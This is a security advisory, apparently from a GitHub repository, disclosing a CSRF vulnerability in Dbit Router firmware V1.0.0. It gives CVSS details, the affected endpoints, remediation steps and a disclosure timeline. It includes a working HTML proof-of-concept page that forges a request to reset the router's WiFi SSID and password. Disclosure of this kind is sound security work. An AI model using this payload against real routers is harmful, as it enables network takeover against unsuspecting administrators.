CVE-2026-36956: Cross-Site Request Forgery (CSRF) in Web Management Interface

CVE ID: CVE-2026-36956 **Date:** 2026-04-29 **Discoverer:** Kirubel Solomne **Vendor:** Shenzhen Dibit Network Equipment Co., Ltd. **Product:** Dbit Router **Firmware Version:** V1.0.0 **CWE:** CWE-352 - Cross-Site Request Forgery (CSRF)

Description

The Dbit Router firmware V1.0.0 does not implement CSRF protection mechanisms such as anti-CSRF tokens or strict Origin/Referer validation on administrative API endpoints. An attacker can craft a malicious webpage that sends forged HTTP requests to configuration endpoints. If an authenticated administrator visits the malicious page, the router processes the forged request as a legitimate administrative action.

CVSS Score

CVSS v3.1 Score: 8.8 (High) `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

Metric	Value
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	Required
Confidentiality Impact	High
Integrity Impact	High
Availability Impact	High

Affected Endpoints

Endpoint	Function
`/api/setWlan`	Wireless network configuration (SSID, password)
`/api/setWan`	WAN configuration
`/api/setSystem`	System configuration

Proof of Concept

Save the following as `poc.html` and open it while an administrator is logged into the router:

```
<!DOCTYPE html>
<html>
<body>
<script>
  fetch('http://192.168.10.1/api/setWlan', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      ssid: "Hacked_Network",
      password: "attacker123"
    })
```

```
  });
</script>
</body>
</html>
```

Expected Behavior: Request should be rejected due to CSRF token mismatch. **Actual Behavior:** Router accepts and processes the forged request.

Impact

- Unauthorized modification of WiFi SSID and password
- WAN/DNS configuration changes
- Denial of service for legitimate users
- Full router configuration takeover

Remediation

- Implement anti-CSRF tokens on all state-changing endpoints
- Enforce strict Origin and Referer header validation
- Use SameSite=Strict cookie attribute for session cookies

Disclosure Timeline

Date	Event
2026-04-29	Vulnerability discovered
2026-04-29	Reported to MITRE
2026-04-29	CVE-2026-36956 assigned
2026-04-29	Public disclosure

References

- MITRE CVE-2026-36956

- CWE-352
- Vendor Website

Releases

No releases published

Packages

No packages published

Contributors 1

kirubel-cve Kirubel S